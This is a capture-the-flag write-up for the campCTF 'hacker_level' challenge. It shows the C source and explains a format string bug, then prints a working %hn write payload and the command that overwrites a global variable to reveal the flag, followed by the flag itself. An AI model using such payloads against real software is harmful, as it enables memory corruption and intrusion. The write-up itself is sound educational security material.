Category: Pwn Points: 200 Solves: 64 Description:

What's your hacker level?

Find out with this nifty little app at challs.campctf.ccc.ac:10118. You can also run your own instance: hacker_level

 

Here's another great example of using the format string exploiter to do your work for you. Again, it's about removing any mechanics of exploitation where possible so you can focus on the human task of understanding the vulnerability rather than the machine task of writing the format string. Let's take a peek at the challenge.

 

 

$ file hacker_level
hacker_level: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=29288494155b99bcb97cd3af0961c9a34d307be2, not stripped

 

Simple 32-bit Linux ELF. We actually get the source code on this one. Let's run it first.

 

$ ./hacker_level 
What's your name? Test %x
Hello, Test 40
Sorry, you're not leet enough to get the flag :(
Your hacker level is: 0x905b

 

As mentioned previously, whenever controlling a string that gets printed back, always check for a format string vuln with %x (or similar). Here, we can see that it exists since we're given back the number 40. Seems pretty strait forward. Also, we can see that some "hacker level" is being computed for us. Let's look at the code:

 

#include <stdio.h>
#include <stdint.h>
#include <unistd.h>

static uint32_t level = 0;
static void calc_level(const char *name);

int main() {
    char name[64] = "";

    setbuf(stdin, NULL);        // turn off buffered I/O
    setbuf(stdout, NULL);

    printf("What's your name? ");
    fgets(name, sizeof name, stdin);

    calc_level(name);

    usleep(150000);
    printf("Hello, ");
    printf(name);

    usleep(700000);
    if (level == 0xCCC31337) {
        FILE *f = fopen("flag.txt", "r");
        if (f) {
            char flag[80] = "";
            fread(flag, 1, sizeof flag, f);
            printf("The flag is: ");
            printf(flag);
            fclose(f);
        } else {
            printf("I would give you the flag, but I can't find it.\n");
        }
    } else {
        printf("Sorry, you're not leet enough to get the flag :(\n");
        usleep(400000);
        printf("Your hacker level is: 0x%x\n", level);
    }

    return 0;
} static void calc_level(const char *name) {
    for (const char *p = name; *p; p++) {
        level *= 257;
        level ^= *p;
    }
    level %= 0xcafe;
}

 

The first thing to note is we want to get to the point where it says "the flag is". To get there, we need to pass the check of "level == 0xCCC31337". Our input to name is being passed to calc_level function. This function updates the global variable level and returns nothing. Note the last thing it does is modulo 0xcafe. This means we will never be able to give it a correct input that comes out as 0xCCC31337. That said let's take a look at what this problem looks like from the format string exploiter.

 

$ formatStringExploiter.py hacker_level

  __                           _         _        _                               _       _ _           
 / _|                         | |       | |      (_)                             | |     (_) |          
| |_ ___  _ __ _ __ ___   __ _| |_   ___| |_ _ __ _ _ __   __ _    _____  ___ __ | | ___  _| |_ ___ _ __
|  _/ _ \| '__| '_ ` _ \ / _` | __| / __| __| '__| | '_ \ / _` |  / _ \ \/ / '_ \| |/ _ \| | __/ _ \ '__|
| || (_) | |  | | | | | | (_| | |_  \__ \ |_| |  | | | | | (_| | |  __/>  <| |_) | | (_) | | ||  __/ |  
|_| \___/|_|  |_| |_| |_|\__,_|\__| |___/\__|_|  |_|_| |_|\__, |  \___/_/\_\ .__/|_|\___/|_|\__\___|_|  
                                                           __/ |           | |                          
                                                          |___/            |_|                          
https://github.com/Owlz/formatStringExploiter

Loading: hacker_level

Test string length? (default = 10)

Copy the following into your format string vulnerable application. The purpose is to automatically determine things about your vulnerability.
-->    AAAABBBBCCCCDDDD%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x

Copy and paste the output back in here:
-->    AAAABBBBCCCCDDDD00000040f7fa9600ffffca88ffffcad0f7fe3570ffffca8041414141424242424343434344444444

+-----+------------+---------+-------+----------+-------+
| Arg |   Value    | Control | Extra | Section  | Perms |
+-----+------------+---------+-------+----------+-------+
|  0  |    0x40    |   None  |       | .comment |       |
|  1  | 0xf7fa9600 |   None  |       |          |       |
|  2  | 0xffffca88 |   None  |       |          |       |
|  3  | 0xffffcad0 |   None  |       |          |       |
|  4  | 0xf7fe3570 |   None  |       |          |       |
|  5  | 0xffffca80 |   None  |       |          |       |
|  6  | 0x41414141 |    1    |  AAAA |          |       |
|  7  | 0x42424242 |    2    |  BBBB |          |       |
|  8  | 0x43434343 |    3    |  CCCC |          |       |
|  9  | 0x44444444 |    4    |  DDDD |          |       |
+-----+------------+---------+-------+----------+-------+

I've discovered 4 known control points.

What to do?
-----------
  1) Arbitrary Write
  2) Arbitrary Read

 

We have control points. At this point we know we've won since we have an arbitrary write and the only thing keeping us from the flag being shown to us is a value check. To change this value is strait forward:

 

Select Action: 1

Enter address to overwrite (i.e.: 0x12345678 or 427512645). If you loaded the binary, you can use a symbol as well (i.e.: secret)
-->    level

Enter value (or symbol name) to write to this address (int or hex)
-->    0xCCC31337

Here's your format string line:
-->    'L\xa0\x04\x08N\xa0\x04\x08CCCCDDDD%4903c%7$hn%47500c%8$hn'

Example from bash:
-->    $ echo -e 'L\xa0\x04\x08N\xa0\x04\x08CCCCDDDD%4903c%7$hn%47500c%8$hn' | ./formatStringTest

 

Really the prompts are self explanatory. The first one says we want to overwrite the symbol level. We can do this because the symbol is defined in the code and we have pointed the script to the binary code. It auto performs the lookup. The second part is that we know we want to write 0xCCC31337. Let's give it a shot.

 

$ echo -e 'L\xa0\x04\x08N\xa0\x04\x08CCCCDDDD%4903c%7$hn%47500c%8$hn' | ./hacker_level
What's your name? Hello, L�N�CCCCDDDD <garbage removed>
The flag is: CAMP15_337deec05ccc63b1168ba3379ae4d65854132604

 

Just for kicks, let's talk about what just happened. Take it from the top:

 

L\xa0\x04\x08N\xa0\x04\x08 -- This is the two addresses we'll need for our overwrite. They are written little endian due to the architecture of the binary, and are the actual value of the address, not the ASCII representation. Note that we need two of them because we want to write a full 32-bits. To do this, we actually perform two writes in sequence as half writes (short int), the low and the high halves of the value.

CCCCDDDD%4903c%7$hn -- This is the first write. The CCCCDDDD is just because of how I wrote the program and could be optimized out. The %4903c tells printf to write the next variable as a character, and pad it out to 4903 characters. This gives us a total printed number of 4903 + 8 (CCCCDDDD) + 8 (the 2 addresses) = 0x1337. %7$hn says write our total characters so far (0x1337) to the short int variable at variable index 7. Index 7 is one of the two that we own (where the AAAA was previously). We've now got 0x1337 as a hacker level score.

%47500c%8$hn -- This is our second write. As before %47500c means print the next variable as a character of 47500 length. This moves our total written from the previous 0x1337 to 0x1337 + 47500 = 0xccc3. This is the top half of that value we want to write. %8$hn means the 8th variable (where the BBBB used to be) should be dereference and our current count (0xccc3) should be written there. The key here is that we're using hn. The h there ensures that we're writing a short int, which is only 16 bits. That, in conjunction with our second address being the original address + 2 bytes means that we can effectively only write to the top half of the variable. Smash those two writes together and you have 0xccc31337, the value needed.

 

The description of what we just did shows how the format string vulnerability exploitation can be very tedious for no real gain to the human. That's why automating the mechanics of writing it is important.